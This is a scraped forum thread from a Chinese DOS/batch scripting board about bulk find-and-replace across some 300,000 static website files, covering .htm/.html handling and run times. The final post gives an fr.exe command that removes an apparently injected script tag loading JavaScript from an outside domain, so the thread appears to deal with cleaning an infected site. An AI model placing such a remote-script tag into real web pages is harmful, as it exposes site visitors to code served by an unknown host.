![]() |
China DOS Union-- Unite DOS · Advance DOS · Grow DOS --Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum |
| Guest | Log in | Register | Members | Search | China DOS Union |
|
中国DOS联盟论坛 The time now is 2026-08-12 08:20 |
47,811 topics / 349,897 posts / today 0 new / 48,256 members |
| DOS批处理 & 脚本技术(批处理室) » 30,000 files quick replacement |
| Printable Version 3,111 / 21 |
| Floor16 freeants001 | Posted 2010-03-04 21:32 |
| 中级用户 Posts 244 Credits 330 From 湖北 | |
|
This is okay.
;) [ Last edited by freeants001 on 2010-3-4 at 22:45 ] |
|
| Floor17 plp626 | Posted 2010-03-04 22:22 |
| 银牌会员 Posts 1,020 Credits 2,278 | |
|
var fl=fso.opentextfile(fso.GetBaseName(f.path)+".html",2,true);
I'm afraid it's not just a matter of changing txt to html; I don't know what the function is to get the suffix of "f.path" in your code. Brother, can you change that red html to it? Most of these files are htm files, but there are still many html files (as index files) If all are uniformly changed to html, then the links of those originally htm files will be invalid. When replacing, the file name should be kept the same. PS: These 300,000 web pages are all files of a static website. [ Last edited by plp626 on 2010-3-4 at 22:26 ] |
|
| Floor18 freeants001 | Posted 2010-03-04 22:48 |
| 中级用户 Posts 244 Credits 330 From 湖北 | |
| Floor19 plp626 | Posted 2010-03-04 22:55 |
| 银牌会员 Posts 1,020 Credits 2,278 | |
|
I tested it. The code on floor 16 only replaces the files with the .html extension in the test directory, but the .htm files are not replaced. Why is that? The test files were generated with the code on floor 1.
|
|
| Floor20 freeants001 | Posted 2010-03-04 23:01 |
| 中级用户 Posts 244 Credits 330 From 湖北 | |
Originally posted by plp626 at 2010-3-4 22:55: No way, it worked for me here. |
|
| Floor21 plp626 | Posted 2010-03-04 23:28 |
| 银牌会员 Posts 1,020 Credits 2,278 | |
|
The code on floor 16 is correct, it's my problem.
I tried to run it. Replacing more than 200,000 files with over 8,000 files took nearly 8 minutes (if replacing 10,000 files took less than 1 minute, I don't know why). It seems it will be 30*8=240 minutes, oh, that's 4 hours, which is half of the time spent downloading at that time. [ Last edited by plp626 on 2010-3-4 at 23:39 ] |
|
| Floor22 plp626 | Posted 2010-05-20 13:20 |
| 银牌会员 Posts 1,020 Credits 2,278 | |
|
There is a third - party tool like this on my computer, which can be directly replaced. The Baibaiang works collection - fr.exe downloaded a long time ago, and the speed is very fast. I tested it and it was all replaced in about 10 minutes.
fr *.htm* -s -f:"<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>" -t:"" |
|
| Prev 1 2 |
|
[ Contact the Union admin team -
中国DOS联盟 -
Standard version ] Sponsored by ifanr Inc | © 2001–2023 |